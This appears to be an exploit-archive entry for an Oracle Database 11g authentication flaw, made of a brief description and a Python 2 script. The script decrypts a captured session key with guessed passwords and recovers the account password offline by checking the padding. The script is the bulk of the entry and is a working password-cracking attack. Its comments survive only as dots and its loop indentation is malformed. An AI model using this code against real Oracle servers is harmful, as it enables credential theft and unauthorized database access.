Oracle-Database-Authentication

2015-01-05T15:36:30
ID EXPLOITPACK:049162A0F7241C2E0149611DFC4EC651
Type exploitpack
Reporter Esteban Martinez Fayo
Modified 2015-01-05T15:36:30

Description

Oracle Database is prone to a remote security-bypass vulnerability that affects the authentication protocol. An attacker can exploit this issue to bypass the authentication process and gain unauthorized access to the database. This vulnerability affects Oracle Database 11g Release 1 and 11g Release 2.

                                        
                                            #-*-coding:utf8 -*-
      
import hashlib
from Crypto.Cipher import AES
      
def decrypt(session,salt,password):
            pass_hash = hashlib.sha1(password+salt)
      
            #......... ..... ..... .......... .. 24 ....
            key = pass_hash.digest() + '\x00\x00\x00\x00'
            decryptor = AES.new(key,AES.MODE_CBC)
            plain = decryptor.decrypt(session)
            return plain
      
 #............. ........... ...... 48 ....
session_hex = 'EA2043CB8B46E3864311C68BDC161F8CA170363C1E6F57F3EBC6435F541A8239B6DBA16EAAB5422553A7598143E78767'
      
#.... 10 ....
salt_hex = 'A7193E546377EC56639E'
      
passwords = ['test','password','oracle','demo']
      
    for password in passwords:
            session_id = decrypt(session_hex.decode('hex'),salt_hex.decode('hex'),password)
            print 'Decrypted session_id for password "%s" is %s' % (password,session_id.encode('hex'))
            if session_id[40:] == '\x08\x08\x08\x08\x08\x08\x08\x08':
                    print 'PASSWORD IS "%s"' % password
                    break